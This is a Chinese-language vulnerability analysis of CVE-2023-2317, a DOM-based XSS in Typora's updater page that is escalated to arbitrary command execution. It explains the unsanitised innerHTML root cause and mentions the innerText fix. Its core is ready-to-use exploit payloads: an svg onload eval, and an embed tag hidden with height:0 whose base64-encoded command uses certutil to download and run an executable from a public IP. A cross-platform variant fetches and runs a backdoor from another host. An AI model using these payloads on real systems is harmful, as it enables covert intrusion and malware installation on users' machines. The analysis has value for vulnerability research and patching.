1.漏洞信息
漏洞编号:CVE-2023-2317
漏洞范围:Typora<=1.67
漏洞说明:低于1.67版本的Typora存在代码执行漏洞,通过在标签中加载typora://app/typemark/updater/update.html
实现在Typora主窗口的上下文中运行任意JavaScript代码。
2.漏洞成因
问题代码段:
在typoral的安装目录的\resources\updater\updater.html中存在问题代码段
1 | <script type="text/javascript"> |
分析一下插入的javascript实现的功能
1.参数获取:
1 | var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1]; |
这四句话都是获取参数的,window.location.search获取从问号 (?) 开始的 URL(查询部分。再分别通过正则匹配的方式匹配出相应的参数curVersion,newVersion,releaseNoteLink,hideAutoUpdates和labels。也就是说我们要传入这5个参数
2.页面替换:
下面语句将参数通过dom.innerText和din.innerHTML未经清洗的将传入的替换进html源码中,是造成漏洞(DOM型XSS)的根源
1 | document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion); |
可以看到第一句话将labels中的labels[4]和labels[5]相拼接通过innerText写入,因为是以innerText方式写入的所以我们的xss不会生效
第二句将labels中的[0-3]四个参数通过innerHTML方式写入,可以使我们的xss成功
第三句将releaseNoteLink链接写入一个src中,我们也可以利用这一点使受害者访问我们构造的url
3.漏洞拓展:
1.typora中存在node扩展,通过利用node.child_process模块我们可以创造一个子进程来执行系统命令,从而使原来的dom型xss可执行系统命令
2.既然要在typora中执行xss我们自然要引用该html
Typora内部实现了typora://
协议,可以用于Typora访问特定文件。通过按住shift+f12的方式我们可以看到typoral的html界面
观察其文件引用的方式
1 | <link rel="stylesheet" href="typora://app/typemark/lib.asar/bootstrape/css/bootstrap.css" crossorigin="anonymous"> |
lib.asar在/resouce目录下,若想访问到\resources\updater\updater.html
我们可以构造typora://app/typemark/updater/update.html
根据这两点我们来构造相关payload
Windows环境下的payload可以这样写:
1 | reqnode('child_process').exec("calc") |
包在svg标签里实现页面加载:
1 | <svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg> |
编码前的Poc:
1 | <embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=["","<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>","","","",""]"> |
为了使poc更加隐蔽我们还可以对其进行base64编码,再通过reqnode('child_process').exec('certutil.exe -urlcache -split -f http://IP:端口/1212.exe && 1212.exe')
获取并执行后门代码
所以最终的poc为:
1 | <embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmd加密指令'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"> |
1 | <embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLXNwbGl0IC1mIGh0dHA6Ly80Ny4xMjAuMzguMjEwL3dpbmRvd3MuZXhlICYmIHdpbmRvd3MuZXhlJyk='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"> |
还有适配linux和windows的写法
1 | reqnode('child_process').exec(({Win32: 'certutil.exe -urlcache -split -f http://192.168.142.128:8992/1212.exe 1212.exe && 1212.exe', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)]) |
漏洞修复
把innerHTML改成了innerText: